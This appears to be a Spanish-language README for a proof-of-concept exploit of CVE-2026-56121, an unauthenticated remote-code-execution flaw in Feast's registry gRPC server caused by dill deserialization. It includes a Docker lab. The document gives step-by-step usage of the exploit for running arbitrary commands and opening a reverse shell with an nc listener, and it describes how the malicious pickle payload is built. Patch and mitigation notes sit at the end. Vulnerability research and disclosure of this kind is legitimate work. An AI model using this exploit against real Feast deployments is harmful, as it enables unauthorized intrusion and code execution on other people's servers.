
Prueba de concepto de exploit para CVE-2026-56121, un RCE no autenticado en el servidor gRPC del registro de Feast mediante deserialización insegura con dill. Incluye un laboratorio vulnerable dockerizado para pruebas y validación.
Ejecución remota de código no autenticada en Feast
(< 0.63.0) mediante deserialización insegura con dill.loads en el servidor gRPC del registro.
Este repositorio contiene un exploit de prueba de concepto autocontenido y un laboratorio
vulnerable en Docker para validarlo.
| CVE | CVE-2026-56121 |
| Producto | Feast (feature store) — servidor gRPC del registro |
| Afectado | feast < 0.63.0 |
| Corregido en | 0.63.0 (commit 835cda8) |
| Clase | CWE-502 — Deserialización de datos no confiables |
| Impacto | RCE no autenticada (configuración predeterminada auth: no_auth) |
| Puerto predeterminado | 6570/tcp (servidor de registro gRPC) |
⚠️ Solo para pruebas de seguridad autorizadas y fines educativos. Ejecútalo únicamente contra el laboratorio Docker incluido o sistemas que poseas / para los que tengas permiso explícito. El uso no autorizado contra sistemas de terceros es ilegal.
El manejador gRPC del registro de Feast, RegistryServer.ApplyFeatureView, deserializa el
spec de la feature view entrante llamando a OnDemandFeatureView.from_proto(...) antes de
ejecutar cualquier comprobación de autorización. Para una On-Demand Feature View en modo pandas
con un cuerpo UDF no vacío, esa ruta llega a PandasTransformation.from_proto, que ejecuta
dill.loads(user_defined_function.body) sobre bytes controlados por el atacante. Debido a que dill
ejecuta opcodes de pickle, un objeto con un __reduce__ manipulado ejecuta Python arbitrario en el
proceso del servidor. La configuración incluida es auth: no_auth y el servidor gRPC no tiene
interceptor de autenticación, por lo que cualquiera que pueda alcanzar el puerto 6570 obtiene ejecución de código.
Consulta ANALYSIS.md para ver el recorrido completo del código y el diff del parche.
.
├── exploit/
│ ├── exploit.py # cliente PoC completo: --check / --cmd / --reverse-shell
│ ├── poc.py # PoC mínimo de un solo archivo, mismo primitivo en ~90 líneas
│ ├── build_protos.sh # (re)genera los stubs de protobuf desde [email protected]
│ └── protos/ # stubs *_pb2 generados incluidos (ejecuta el PoC sin protoc)
├── lab/
│ ├── Dockerfile # feast==0.62.0 por defecto; FEAST_VERSION selecciona la versión
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # proyecto Feast mínimo (auth: no_auth)
├── requirements.txt # dependencias del exploit: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# el servidor gRPC del registro ahora escucha en localhost:6570
docker compose logs -f # espera a que aparezca "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
Comprobación segura (no destructiva) — demuestra que el servidor deserializa datos del atacante
escribiendo un archivo marcador en /tmp y devolviendo información del host, sin ejecutar un comando de shell:
python exploit/exploit.py --target 127.0.0.1:6570 --check
Ejecuta un comando y ve su salida (modo predeterminado):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
Shell inverso interactivo — inicia primero tu listener y luego entrega el payload:
# terminal A
nc -lvnp 4444
# terminal B (usa una dirección a la que el contenedor pueda conectarse de vuelta)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
Los modos --cmd y --check inician un listener TCP de corta duración dentro del propio exploit
e imprimen lo que el objetivo devuelve — no se requiere ninguna herramienta externa en la imagen del objetivo.
Una versión reducida equivalente está en exploit/poc.py, si quieres el primitivo completo en un solo
archivo legible:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
Nota sobre el callback.
--check,--cmdypoc.pydependen de que el objetivo se conecte de vuelta a un listener en tu máquina. Ejecutarlo desde el host funciona sin configuración adicional. Si ejecutas el exploit desde dentro de un contenedor, colócalo en la red del laboratorio (docker run --network lab_default ...); de lo contrario, el payload se ejecuta pero la respuesta nunca llega y la herramienta informa "no callback".
Los stubs en exploit/protos/ están incluidos, por lo que no necesitas protoc. Si los
regeneras, usa el script — fija grpcio-tools a propósito:
./exploit/build_protos.sh # se ejecuta en un contenedor fijado python:3.11
protoc sella una versión de gencode en cada _pb2.py, y protobuf se niega a cargar un
stub cuyo gencode sea más nuevo que el runtime instalado. El fijado mantiene los stubs cargando
en protobuf >= 5.29, < 8 (verificado contra 5.29.6, 6.33.6 y 7.36.0).
Reconstruye el laboratorio contra la versión corregida y vuelve a ejecutar el exploit:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
Esperado en 0.63.0: [-] No callback received. y sin archivo marcador en el objetivo —
el manejador pasa skip_udf=True, por lo que el cuerpo UDF nunca se deserializa antes de la
comprobación de autenticación. Vuelve al laboratorio vulnerable con docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest cuyo spec de on_demand_feature_view tenga
mode = "pandas" y un feature_transformation.user_defined_function
(UserDefinedFunctionV2) con:
body_text = no vacío (requerido para alcanzar la rama de deserialización pandas),body = un pickle de un objeto cuyo __reduce__ llama a exec(<python>).feast.registry.RegistryServer/ApplyFeatureView.dill.loads(body) durante from_proto — antes de la comprobación de
autenticación — ejecutando el payload. La propia RPC puede fallar después; el código ya se ha ejecutado.El exploit construye el gadget con el módulo pickle de la stdlib (el dill.loads del servidor
decodifica sin problema opcodes de pickle estándar), por lo que el lado del atacante solo necesita grpcio + protobuf.
>= 0.63.0. La corrección propaga una bandera skip_udf=True a través de
*.from_proto, de modo que el servidor del registro valida permisos sobre los metadatos del spec sin
deserializar el cuerpo UDF.6570) a redes no confiables.auth: kubernetes / auth: oidc) en lugar del no_auth predeterminado.